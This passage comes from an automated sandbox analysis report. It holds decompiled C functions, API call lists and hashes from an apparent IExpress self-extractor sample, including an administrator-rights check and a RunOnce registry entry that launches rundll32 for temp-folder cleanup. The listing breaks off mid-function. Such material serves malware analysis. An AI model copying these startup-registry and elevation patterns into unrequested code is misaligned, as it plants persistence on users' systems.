0x00a44240
0x00a443b2
0x00a443b7
0x00a443c0
0x00000000
0x00a443c5
0x00a4424c
0x00a44252
0x00a44257
0x00a443a4
0x00a443a5
0x00a443ab
0x00000000
0x00a443ab
0x00a44263
0x00a44269
0x00a4426e
0x00000000
0x00000000
0x00a4427a
0x00a44280
0x00a44285
0x00000000
0x00000000
0x00a4428d
0x00a44293
0x00a442e6
0x00a442e9
0x00a442ef
0x00a442f4
0x00a442f7
0x00a44300
0x00a44307
0x00a4430e
0x00a44315
0x00a4431c
0x00a44322
0x00a44326
0x00a4432d
0x00a4432d
0x00a4432f
0x00a44334
0x00a44343
0x00a44349
0x00a4434d
0x00a44354
0x00a44354
0x00a4435d
0x00a4436e
0x00a4436e
0x00a4437d
0x00a44383
0x00a44387
0x00a4438e
0x00a4438e
0x00a44387
0x00a44391
0x00a44399
0x00000000
0x00a44295
0x00a4429f
0x00a442a5
0x00a442aa
0x00a442aa
0x00a442ad
0x00a442ad
0x00a442af
0x00a442b0
0x00a442b6
0x00a442c2
0x00a442c8
0x00a442ce
0x00a442e4
0x00a442e4
0x00000000
0x00a442ce

APIs

LoadLibraryA.KERNEL32(SHELL32.DLL,?,?,00000001), ref: 00A44236
GetProcAddress.KERNEL32(00000000,SHBrowseForFolder), ref: 00A4424C
GetProcAddress.KERNEL32(00000000,000000C3), ref: 00A44263
GetProcAddress.KERNEL32(00000000,SHGetPathFromIDList), ref: 00A4427A
GetTempPathA.KERNEL32(00000104,00A488C0,?,00000001), ref: 00A4429F
CharPrevA.USER32(00A488C0,01491181,?,00000001), ref: 00A442C2
CharPrevA.USER32(00A488C0,00000000,?,00000001), ref: 00A442D6
FreeLibrary.KERNEL32(00000000,?,00000001), ref: 00A44391
FreeLibrary.KERNEL32(00000000,?,00000001), ref: 00A443A5

Strings

SHBrowseForFolder, xrefs: 00A44246
SHGetPathFromIDList, xrefs: 00A44274
SHELL32.DLL, xrefs: 00A4422F

Memory Dump Source

Source File: 00000000.00000002.352918915.0000000000A41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A40000, based on PE: true

Associated: 00000000.00000002.352907150.0000000000A40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.352946994.0000000000A48000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.352961042.0000000000A4A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.352961042.0000000000A4C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a40000_21fvBVFMsn.jbxd

Similarity

API ID: AddressLibraryProc$CharFreePrev$LoadPathTemp
String ID: SHBrowseForFolder$SHELL32.DLL$SHGetPathFromIDList
API String ID: 1865808269-1731843650
Opcode ID: 8c750b8000dc8dba626b6a717ed003ff40b4564e42f7aa327f63fe838ebb37bd
Instruction ID: 961d72bb1aa91893095dade8bc53a5966426eff861642e5faa87fe680fc5dbba
Opcode Fuzzy Hash: 8c750b8000dc8dba626b6a717ed003ff40b4564e42f7aa327f63fe838ebb37bd
Instruction Fuzzy Hash: D741187CA40204EFD711EFB4EC94BAE7BB4EBCA784F140569E941A7251CBB98D02C761

Uniqueness

Uniqueness Score: -1.00%

Function 00A42773 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 114
registryCOMMON

Download Yara Rule

C-Code - Quality: 94%

			E00A42773(CHAR* __ecx, char* _a4) {
				signed int _v8;
				char _v268;
				char _v269;
				CHAR* _v276;
				int _v280;
				void* _v284;
				int _v288;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t23;
				intOrPtr _t34;
				int _t45;
				int* _t50;
				CHAR* _t52;
				CHAR* _t61;
				char* _t62;
				int _t63;
				CHAR* _t64;
				signed int _t65;

				_t52 = __ecx;
				_t23 =  *0xa48004; // 0x173b1603
				_v8 = _t23 ^ _t65;
				_t62 = _a4;
				_t50 = 0;
				_t61 = __ecx;
				_v276 = _t62;
				 *((char*)(__ecx)) = 0;
				if( *_t62 != 0x23) {
					_t63 = 0x104;
					goto L14;
				} else {
					_t64 = _t62 + 1;
					_v269 = CharUpperA( *_t64);
					_v276 = CharNextA(CharNextA(_t64));
					_t63 = 0x104;
					_t34 = _v269;
					if(_t34 == 0x53) {
						L14:
						GetSystemDirectoryA(_t61, _t63);
						goto L15;
					} else {
						if(_t34 == 0x57) {
							GetWindowsDirectoryA(_t61, 0x104);
							goto L16;
						} else {
							_push(_t52);
							_v288 = 0x104;
							E00A41781( &_v268, 0x104, _t52, "Software\\Microsoft\\Windows\\CurrentVersion\\App Paths");
							_t59 = 0x104;
							E00A4658A( &_v268, 0x104, _v276);
							if(RegOpenKeyExA(0x80000002,  &_v268, 0, 0x20019,  &_v284) != 0) {
								L16:
								_t59 = _t63;
								E00A4658A(_t61, _t63, _v276);
							} else {
								if(RegQueryValueExA(_v284, 0xa41140, 0,  &_v280, _t61,  &_v288) == 0) {
									_t45 = _v280;
									if(_t45 != 2) {
										L9:
										if(_t45 == 1) {
											goto L10;
										}
									} else {
										if(ExpandEnvironmentStringsA(_t61,  &_v268, 0x104) == 0) {
											_t45 = _v280;
											goto L9;
										} else {
											_t59 = 0x104;
											E00A41680(_t61, 0x104,  &_v268);
											L10:
											_t50 = 1;
										}
									}
								}
								RegCloseKey(_v284);
								L15:
								if(_t50 == 0) {
									goto L16;
								}
							}
						}
					}
				}
				return E00A46CE0(1, _t50, _v8 ^ _t65, _t59, _t61, _t63);
			}

0x00a42773
0x00a4277e
0x00a42785
0x00a4278a
0x00a4278d
0x00a42790
0x00a42792
0x00a42798
0x00a4279d
0x00a428b2
0x00000000
0x00a427a3
0x00a427a3
0x00a427af
0x00a427c2
0x00a427c8
0x00a427cd
0x00a427d5
0x00a428b7
0x00a428b9
0x00000000
0x00a427db
0x00a427dd
0x00a428aa
0x00000000
0x00a427e3
0x00a427e3
0x00a427ec
0x00a427f8
0x00a42803
0x00a4280b
0x00a42831
0x00a428c3
0x00a428c9
0x00a428cd
0x00a42837
0x00a4285a
0x00a4285c
0x00a42865
0x00a42892
0x00a42895
0x00000000
0x00000000
0x00a42867
0x00a42878
0x00a4288c
0x00000000
0x00a4287a
0x00a42880
0x00a42885
0x00a42897
0x00a42899
0x00a42899
0x00a42878
0x00a42865
0x00a428a0
0x00a428bf
0x00a428c1
0x00000000
0x00000000
0x00a428c1
0x00a42831
0x00a427dd
0x00a427d5
0x00a428e5

APIs

CharUpperA.USER32(173B1603,00000000,00000000,00000000), ref: 00A427A8
CharNextA.USER32(0000054D), ref: 00A427B5
CharNextA.USER32(00000000), ref: 00A427BC
RegOpenKeyExA.ADVAPI32(80000002,?,00000000,00020019,?,?,?,Software\Microsoft\Windows\CurrentVersion\App Paths), ref: 00A42829
RegQueryValueExA.ADVAPI32(?,00A41140,00000000,?,-00000005,?,?,Software\Microsoft\Windows\CurrentVersion\App Paths), ref: 00A42852
ExpandEnvironmentStringsA.KERNEL32(-00000005,?,00000104,?,Software\Microsoft\Windows\CurrentVersion\App Paths), ref: 00A42870
RegCloseKey.ADVAPI32(?,?,Software\Microsoft\Windows\CurrentVersion\App Paths), ref: 00A428A0
GetWindowsDirectoryA.KERNEL32(-00000005,00000104), ref: 00A428AA
GetSystemDirectoryA.KERNEL32 ref: 00A428B9

Strings

Software\Microsoft\Windows\CurrentVersion\App Paths, xrefs: 00A427E4

Memory Dump Source

Source File: 00000000.00000002.352918915.0000000000A41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A40000, based on PE: true

Associated: 00000000.00000002.352907150.0000000000A40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.352946994.0000000000A48000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.352961042.0000000000A4A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.352961042.0000000000A4C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a40000_21fvBVFMsn.jbxd

Similarity

API ID: Char$DirectoryNext$CloseEnvironmentExpandOpenQueryStringsSystemUpperValueWindows
String ID: Software\Microsoft\Windows\CurrentVersion\App Paths
API String ID: 2659952014-2428544900
Opcode ID: 48797b4fc39e517b4448839076e9c5febf20ae91408de87f06ff830d334149f7
Instruction ID: 6a45c44c9e2e197125aaa7b2deaff82f0fb53205bdabdd1483a97b52a5b81b67
Opcode Fuzzy Hash: 48797b4fc39e517b4448839076e9c5febf20ae91408de87f06ff830d334149f7
Instruction Fuzzy Hash: AF41A379A4012CAFDB249B649C85BEE7BBDEFE6700F4040A9F545D2101DB708E868FA1

Uniqueness

Uniqueness Score: -1.00%

Function 00A42267 Relevance: 17.6, APIs: 6, Strings: 4, Instructions: 88
registryCOMMON

Download Yara Rule

C-Code - Quality: 62%

			E00A42267() {
				signed int _v8;
				char _v268;
				char _v836;
				void* _v840;
				int _v844;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t19;
				intOrPtr _t33;
				void* _t38;
				intOrPtr* _t42;
				void* _t45;
				void* _t47;
				void* _t49;
				signed int _t51;

				_t19 =  *0xa48004; // 0x173b1603
				_t20 = _t19 ^ _t51;
				_v8 = _t19 ^ _t51;
				if( *0xa48530 != 0) {
					_push(_t49);
					if(RegOpenKeyExA(0x80000002, "Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", 0, 0x2001f,  &_v840) == 0) {
						_push(_t38);
						_v844 = 0x238;
						if(RegQueryValueExA(_v840, ?str?, 0, 0,  &_v836,  &_v844) == 0) {
							_push(_t47);
							memset( &_v268, 0, 0x104);
							if(GetSystemDirectoryA( &_v268, 0x104) != 0) {
								E00A4658A( &_v268, 0x104, 0xa41140);
							}
							_push("C:\Users\hardz\AppData\Local\Temp\IXP000.TMP\");
							E00A4171E( &_v836, 0x238, "rundll32.exe %sadvpack.dll,DelNodeRunDLL32 \"%s\"",  &_v268);
							_t42 =  &_v836;
							_t45 = _t42 + 1;
							_pop(_t47);
							do {
								_t33 =  *_t42;
								_t42 = _t42 + 1;
							} while (_t33 != 0);
							RegSetValueExA(_v840, "wextract_cleanup0", 0, 1,  &_v836, _t42 - _t45 + 1);
						}
						_t20 = RegCloseKey(_v840);
						_pop(_t38);
					}
					_pop(_t49);
				}
				return E00A46CE0(_t20, _t38, _v8 ^ _t51, _t45, _t47, _t49);
			}

0x00a42272
0x00a42277
0x00a42279
0x00a42283
0x00a42289
0x00a422ab
0x00a422b1
0x00a422c4
0x00a422e0
0x00a422e6
0x00a422f5
0x00a4230d
0x00a4231c
0x00a4231c
0x00a42321
0x00a4233a
0x00a42342
0x00a42348
0x00a4234b
0x00a4234c
0x00a4234c
0x00a4234e
0x00a4234f
0x00a4236e
0x00a4236e
0x00a4237a
0x00a42380
0x00a42380
0x00a42381
0x00a42381
0x00a4238f

APIs

RegOpenKeyExA.ADVAPI32(80000002,Software\Microsoft\Windows\CurrentVersion\RunOnce,00000000,0002001F,?,00000001), ref: 00A422A3
RegQueryValueExA.ADVAPI32(?,wextract_cleanup0,00000000,00000000,?,?,00000001), ref: 00A422D8
memset.MSVCRT ref: 00A422F5
GetSystemDirectoryA.KERNEL32 ref: 00A42305
RegSetValueExA.ADVAPI32(?,wextract_cleanup0,00000000,00000001,?,?,?,?,?,?,?,?,?), ref: 00A4236E
RegCloseKey.ADVAPI32(?), ref: 00A4237A

Strings

C:\Users\user\AppData\Local\Temp\IXP000.TMP\, xrefs: 00A42321
wextract_cleanup0, xrefs: 00A4227C, 00A422CD, 00A42363
rundll32.exe %sadvpack.dll,DelNodeRunDLL32 "%s", xrefs: 00A4232D
Software\Microsoft\Windows\CurrentVersion\RunOnce, xrefs: 00A42299

Memory Dump Source

Source File: 00000000.00000002.352918915.0000000000A41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A40000, based on PE: true

Associated: 00000000.00000002.352907150.0000000000A40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.352946994.0000000000A48000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.352961042.0000000000A4A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.352961042.0000000000A4C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a40000_21fvBVFMsn.jbxd

Similarity

API ID: Value$CloseDirectoryOpenQuerySystemmemset
String ID: C:\Users\user\AppData\Local\Temp\IXP000.TMP\$Software\Microsoft\Windows\CurrentVersion\RunOnce$rundll32.exe %sadvpack.dll,DelNodeRunDLL32 "%s"$wextract_cleanup0
API String ID: 3027380567-2554356261
Opcode ID: 4197858169e1d90df518fa0c8b235417d1c4a09d50e0b44feb79c18e8e8e083a
Instruction ID: 9cce8295ac158c9ae66849c5056c53d267e63c9ef53432beafa04d42e05ec581
Opcode Fuzzy Hash: 4197858169e1d90df518fa0c8b235417d1c4a09d50e0b44feb79c18e8e8e083a
Instruction Fuzzy Hash: FA31B47DA002186BDB21DB50EC49FEA7B7CEFD5700F0001A9B50DAA051EA75AF89CB50

Uniqueness

Uniqueness Score: -1.00%

Function 00A43100 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 70
windowCOMMON

Download Yara Rule

C-Code - Quality: 87%

			E00A43100(struct HWND__* _a4, intOrPtr _a8, intOrPtr _a12) {
				void* _t8;
				void* _t11;
				void* _t15;
				struct HWND__* _t16;
				struct HWND__* _t33;
				struct HWND__* _t34;

				_t8 = _a8 - 0xf;
				if(_t8 == 0) {
					if( *0xa48590 == 0) {
						SendDlgItemMessageA(_a4, 0x834, 0xb1, 0xffffffff, 0);
						 *0xa48590 = 1;
					}
					L13:
					return 0;
				}
				_t11 = _t8 - 1;
				if(_t11 == 0) {
					L7:
					_push(0);
					L8:
					EndDialog(_a4, ??);
					L9:
					return 1;
				}
				_t15 = _t11 - 0x100;
				if(_t15 == 0) {
					_t16 = GetDesktopWindow();
					_t33 = _a4;
					E00A443D0(_t33, _t16);
					SetDlgItemTextA(_t33, 0x834,  *0xa48d4c);
					SetWindowTextA(_t33, "cent");
					SetForegroundWindow(_t33);
					_t34 = GetDlgItem(_t33, 0x834);
					 *0xa488b8 = GetWindowLongA(_t34, 0xfffffffc);
					SetWindowLongA(_t34, 0xfffffffc, E00A430C0);
					return 1;
				}
				if(_t15 != 1) {
					goto L13;
				}
				if(_a12 != 6) {
					if(_a12 != 7) {
						goto L9;
					}
					goto L7;
				}
				_push(1);
				goto L8;
			}

0x00a43108
0x00a4310b
0x00a431b7
0x00a431ca
0x00a431d0
0x00a431d0
0x00a431da
0x00000000
0x00a431da
0x00a43111
0x00a43114
0x00a43136
0x00a43136
0x00a43138
0x00a4313b
0x00a43141
0x00000000
0x00a43143
0x00a43116
0x00a4311b
0x00a4314b
0x00a43151
0x00a43158
0x00a4316a
0x00a43176
0x00a4317d
0x00a4318b
0x00a4319e
0x00a431a3
0x00000000
0x00a431ad
0x00a43120
0x00000000
0x00000000
0x00a4312a
0x00a43134
0x00000000
0x00000000
0x00000000
0x00a43134
0x00a4312c
0x00000000

APIs

EndDialog.USER32(?,00000000), ref: 00A4313B
GetDesktopWindow.USER32 ref: 00A4314B
SetDlgItemTextA.USER32(?,00000834), ref: 00A4316A
SetWindowTextA.USER32(?,cent), ref: 00A43176
SetForegroundWindow.USER32(?), ref: 00A4317D
GetDlgItem.USER32(?,00000834), ref: 00A43185
GetWindowLongA.USER32(00000000,000000FC), ref: 00A43190
SetWindowLongA.USER32(00000000,000000FC,00A430C0), ref: 00A431A3
SendDlgItemMessageA.USER32(?,00000834,000000B1,000000FF,00000000), ref: 00A431CA

Strings

cent, xrefs: 00A43170

Memory Dump Source

Source File: 00000000.00000002.352918915.0000000000A41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A40000, based on PE: true

Associated: 00000000.00000002.352907150.0000000000A40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.352946994.0000000000A48000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.352961042.0000000000A4A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.352961042.0000000000A4C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a40000_21fvBVFMsn.jbxd

Similarity

API ID: Window$Item$LongText$DesktopDialogForegroundMessageSend
String ID: cent
API String ID: 3785188418-3940384054
Opcode ID: df6ab5ab2d0ec44550471ea157e775b0eb8846aa3117bb971d27f8296e6e3ae4
Instruction ID: 2d60eeafe91895f2ca478d0b526ac92349be5cd19941b97d537b4ba4b8b3e764
Opcode Fuzzy Hash: df6ab5ab2d0ec44550471ea157e775b0eb8846aa3117bb971d27f8296e6e3ae4
Instruction Fuzzy Hash: 6E11B43E284251BBEF11DFACAC0CB9A3A64FBDB721F100711F915911E0DBB69642D742

Uniqueness

Uniqueness Score: -1.00%

Function 00A4468F Relevance: 15.8, APIs: 7, Strings: 2, Instructions: 50
COMMON

Download Yara Rule

C-Code - Quality: 82%

			E00A4468F(CHAR* __ecx, void* __edx, intOrPtr _a4) {
				long _t4;
				void* _t11;
				CHAR* _t14;
				void* _t15;
				long _t16;

				_t14 = __ecx;
				_t11 = __edx;
				_t4 = SizeofResource(0, FindResourceA(0, __ecx, 0xa));
				_t16 = _t4;
				if(_t16 <= _a4 && _t11 != 0) {
					if(_t16 == 0) {
						L5:
						return 0;
					}
					_t15 = LockResource(LoadResource(0, FindResourceA(0, _t14, 0xa)));
					if(_t15 == 0) {
						goto L5;
					}
					__imp__memcpy_s(_t11, _a4, _t15, _t16);
					FreeResource(_t15);
					return _t16;
				}
				return _t4;
			}

0x00a44699
0x00a4469b
0x00a446a9
0x00a446af
0x00a446b4
0x00a446bc
0x00a446f9
0x00000000
0x00a446f9
0x00a446d9
0x00a446dd
0x00000000
0x00000000
0x00a446e5
0x00a446ef
0x00000000
0x00a446f5
0x00a446ff

APIs

FindResourceA.KERNEL32(00000000,TITLE,0000000A), ref: 00A446A0
SizeofResource.KERNEL32(00000000,00000000,?,00A42D1A,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 00A446A9
FindResourceA.KERNEL32(00000000,TITLE,0000000A), ref: 00A446C3
LoadResource.KERNEL32(00000000,00000000,?,00A42D1A,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 00A446CC
LockResource.KERNEL32(00000000,?,00A42D1A,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 00A446D3
memcpy_s.MSVCRT ref: 00A446E5
FreeResource.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,00000002,00000000), ref: 00A446EF

Strings

cent, xrefs: 00A446E4
TITLE, xrefs: 00A4469D, 00A446C0

Memory Dump Source

Source File: 00000000.00000002.352918915.0000000000A41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A40000, based on PE: true

Associated: 00000000.00000002.352907150.0000000000A40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.352946994.0000000000A48000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.352961042.0000000000A4A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.352961042.0000000000A4C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a40000_21fvBVFMsn.jbxd

Similarity

API ID: Resource$Find$FreeLoadLockSizeofmemcpy_s
String ID: TITLE$cent
API String ID: 3370778649-3553536280
Opcode ID: 326f2d5505f4f8c7cd3dcdff1f4d3bddc5266149f9e37d79bc68a212fe6d873e
Instruction ID: 0268963f2338d3acc74a65a880b2f5cf957b04f3529f2de7741dc48607788b05
Opcode Fuzzy Hash: 326f2d5505f4f8c7cd3dcdff1f4d3bddc5266149f9e37d79bc68a212fe6d873e
Instruction Fuzzy Hash: C501A93E2842107BE3205BE56C4DF6B7E2CDBDFF51F050414FA4997150C9B2884287B6

Uniqueness

Uniqueness Score: -1.00%

Function 00A417EE Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 71
librarymemoryloaderCOMMON

Download Yara Rule

C-Code - Quality: 57%

			E00A417EE(intOrPtr* __ecx) {
				signed int _v8;
				short _v12;
				struct _SID_IDENTIFIER_AUTHORITY _v16;
				_Unknown_base(*)()* _v20;
				void* _v24;
				intOrPtr* _v28;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t14;
				_Unknown_base(*)()* _t20;
				long _t28;
				void* _t35;
				struct HINSTANCE__* _t36;
				signed int _t38;
				intOrPtr* _t39;

				_t14 =  *0xa48004; // 0x173b1603
				_v8 = _t14 ^ _t38;
				_v12 = 0x500;
				_t37 = __ecx;
				_v16.Value = 0;
				_v28 = __ecx;
				_t28 = 0;
				_t36 = LoadLibraryA("advapi32.dll");
				if(_t36 != 0) {
					_t20 = GetProcAddress(_t36, "CheckTokenMembership");
					_v20 = _t20;
					if(_t20 != 0) {
						 *_t37 = 0;
						_t28 = 1;
						if(AllocateAndInitializeSid( &_v16, 2, 0x20, 0x220, 0, 0, 0, 0, 0, 0,  &_v24) != 0) {
							_t37 = _t39;
							 *0xa4a288(0, _v24, _v28);
							_v20();
							if(_t39 != _t39) {
								asm("int 0x29");
							}
							FreeSid(_v24);
						}
					}
					FreeLibrary(_t36);
				}
				return E00A46CE0(_t28, _t28, _v8 ^ _t38, _t35, _t36, _t37);
			}

0x00a417f6
0x00a417fd
0x00a41805
0x00a4180b
0x00a4180d
0x00a41815
0x00a41818
0x00a41820
0x00a41824
0x00a4182c
0x00a41832
0x00a41837
0x00a41851
0x00a41854
0x00a4185d
0x00a41862
0x00a4186c
0x00a41872
0x00a41877
0x00a4187e
0x00a4187e
0x00a41883
0x00a41883
0x00a4185d
0x00a4188a
0x00a4188a
0x00a418a2

APIs

LoadLibraryA.KERNEL32(advapi32.dll,00000002,?,00000000,?,?,?,00A418DD), ref: 00A4181A
GetProcAddress.KERNEL32(00000000,CheckTokenMembership), ref: 00A4182C
AllocateAndInitializeSid.ADVAPI32(00A418DD,00000002,00000020,00000220,00000000,00000000,00000000,00000000,00000000,00000000,?,?,?,?,00A418DD), ref: 00A41855
FreeSid.ADVAPI32(?,?,?,?,00A418DD), ref: 00A41883
FreeLibrary.KERNEL32(00000000,?,?,?,00A418DD), ref: 00A4188A

Strings

CheckTokenMembership, xrefs: 00A41826
advapi32.dll, xrefs: 00A41810

Memory Dump Source

Source File: 00000000.00000002.352918915.0000000000A41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A40000, based on PE: true

Associated: 00000000.00000002.352907150.0000000000A40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.352946994.0000000000A48000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.352961042.0000000000A4A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.352961042.0000000000A4C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a40000_21fvBVFMsn.jbxd

Similarity

API ID: FreeLibrary$AddressAllocateInitializeLoadProc
String ID: CheckTokenMembership$advapi32.dll
API String ID: 4204503880-1888249752
Opcode ID: cd1ebb32f32764dac27a85674e0984df8b3eac6836dbe0c6744eea423da2cdf3
Instruction ID: 0191974d26e96d3df24a553f31a4974ef7f34523b0195de0d147a7049718185e
Opcode Fuzzy Hash: cd1ebb32f32764dac27a85674e0984df8b3eac6836dbe0c6744eea423da2cdf3
Instruction Fuzzy Hash: 6911637DE40209ABDB10DFE4DC49ABEBB78EFC5701F100569F906E2290DB719D458B91

Uniqueness

Uniqueness Score: -1.00%

Function 00A43450 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 51
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00A43450(struct HWND__* _a4, intOrPtr _a8, int _a12) {
				void* _t7;
				void* _t11;
				struct HWND__* _t12;
				int _t22;
				struct HWND__* _t24;

				_t7 = _a8 - 0x10;
				if(_t7 == 0) {
					EndDialog(_a4, 2);
					L11:
					return 1;
				}
				_t11 = _t7 - 0x100;
				if(_t11 == 0) {
					_t12 = GetDesktopWindow();
					_t24 = _a4;
					E00A443D0(_t24, _t12);
					SetWindowTextA(_t24, "cent");
					SetDlgItemTextA(_t24, 0x838,  *0xa49404);
					SetForegroundWindow(_t24);
					goto L11;
				}
				if(_t11 == 1) {
					_t22 = _a12;
					if(_t22 < 6) {
						goto L11;
					}
					if(_t22 <= 7) {
						L8:
						EndDialog(_a4, _t22);
						return 1;
					}
					if(_t22 != 0x839) {
						goto L11;
					}
					 *0xa491dc = 1;
					goto L8;
				}
				return 0;
			}

0x00a43459
0x00a4345c
0x00a434d8
0x00a434de
0x00000000
0x00a434e0
0x00a4345e
0x00a43463
0x00a4349a
0x00a434a0
0x00a434a7
0x00a434b2
0x00a434c4
0x00a434cb
0x00000000
0x00a434cb
0x00a43468
0x00a4346e
0x00a43474
0x00000000
0x00000000
0x00a4347c
0x00a4348c
0x00a43490
0x00000000
0x00a43496
0x00a43484
0x00000000
0x00000000
0x00a43486
0x00000000
0x00a43486
0x00000000

APIs

EndDialog.USER32(?,?), ref: 00A43490
GetDesktopWindow.USER32 ref: 00A4349A
SetWindowTextA.USER32(?,cent), ref: 00A434B2
SetDlgItemTextA.USER32(?,00000838), ref: 00A434C4
SetForegroundWindow.USER32(?), ref: 00A434CB
EndDialog.USER32(?,00000002), ref: 00A434D8

Strings

cent, xrefs: 00A434AC

Memory Dump Source

Source File: 00000000.00000002.352918915.0000000000A41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A40000, based on PE: true

Associated: 00000000.00000002.352907150.0000000000A40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.352946994.0000000000A48000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.352961042.0000000000A4A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.352961042.0000000000A4C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a40000_21fvBVFMsn.jbxd

Similarity

API ID: Window$DialogText$DesktopForegroundItem
String ID: cent
API String ID: 852535152-3940384054
Opcode ID: 8418edbc45efde766cf7314e46f3d1c85dc3cb4e92df9c38a892a7e187d7db19
Instruction ID: 6dc8fdd778292c6c8fa3b670d0349920f96fd2707c7d06e3a220fe3cf78ba75e
Opcode Fuzzy Hash: 8418edbc45efde766cf7314e46f3d1c85dc3cb4e92df9c38a892a7e187d7db19
Instruction Fuzzy Hash: A301B53E280114ABDB569FA9DC0C9EE3A64EFC6712F004110F946869A0C7729F52D785

Uniqueness

Uniqueness Score: -1.00%

Function 00A42AAC Relevance: 12.1, APIs: 8, Instructions: 118
COMMON

Download Yara Rule

C-Code - Quality: 95%

			E00A42AAC(CHAR* __ecx, char* __edx, CHAR* _a4) {
				signed int _v8;
				char _v268;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t16;
				int _t21;
				char _t32;
				intOrPtr _t34;
				char* _t38;
				char _t42;
				char* _t44;
				CHAR* _t52;
				intOrPtr* _t55;
				CHAR* _t59;
				void* _t62;
				CHAR* _t64;
				CHAR* _t65;
				signed int _t66;

				_t60 = __edx;
				_t16 =  *0xa48004; // 0x173b1603
				_t17 = _t16 ^ _t66;
				_v8 = _t16 ^ _t66;
				_t65 = _a4;
				_t44 = __edx;
				_t64 = __ecx;
				if( *((char*)(__ecx)) != 0) {
					GetModuleFileNameA( *0xa49a3c,  &_v268, 0x104);
					while(1) {
						_t17 =  *_t64;
						if(_t17 == 0) {
							break;
						}
						_t21 = IsDBCSLeadByte(_t17);
						 *_t65 =  *_t64;
						if(_t21 != 0) {
							_t65[1] = _t64[1];
						}
						if( *_t64 != 0x23) {
							L19:
							_t65 = CharNextA(_t65);
						} else {
							_t64 = CharNextA(_t64);
							if(CharUpperA( *_t64) != 0x44) {
								if(CharUpperA( *_t64) != 0x45) {
									if( *_t64 == 0x23) {
										goto L19;
									}
								} else {
									E00A41680(_t65, E00A417C8(_t44, _t65),  &_v268);
									_t52 = _t65;
									_t14 =  &(_t52[1]); // 0x2
									_t60 = _t14;
									do {
										_t32 =  *_t52;
										_t52 =  &(_t52[1]);
									} while (_t32 != 0);
									goto L17;
								}
							} else {
								E00A465E8( &_v268);
								_t55 =  &_v268;
								_t62 = _t55 + 1;
								do {
									_t34 =  *_t55;
									_t55 = _t55 + 1;
								} while (_t34 != 0);
								_t38 = CharPrevA( &_v268,  &(( &_v268)[_t55 - _t62]));
								if(_t38 != 0 &&  *_t38 == 0x5c) {
									 *_t38 = 0;
								}
								E00A41680(_t65, E00A417C8(_t44, _t65),  &_v268);
								_t59 = _t65;
								_t12 =  &(_t59[1]); // 0x2
								_t60 = _t12;
								do {
									_t42 =  *_t59;
									_t59 =  &(_t59[1]);
								} while (_t42 != 0);
								L17:
								_t65 =  &(_t65[_t52 - _t60]);
							}
						}
						_t64 = CharNextA(_t64);
					}
					 *_t65 = _t17;
				}
				return E00A46CE0(_t17, _t44, _v8 ^ _t66, _t60, _t64, _t65);
			}

0x00a42aac
0x00a42ab7
0x00a42abc
0x00a42abe
0x00a42ac3
0x00a42ac6
0x00a42ac9
0x00a42ace
0x00a42ae6
0x00a42bdc
0x00a42bdc
0x00a42be0
0x00000000
0x00000000
0x00a42af2
0x00a42afc
0x00a42b00
0x00a42b05
0x00a42b05
0x00a42b0b
0x00a42bca
0x00a42bd1
0x00a42b11
0x00a42b18
0x00a42b26
0x00a42b99
0x00a42bc8
0x00000000
0x00000000
0x00a42b9b
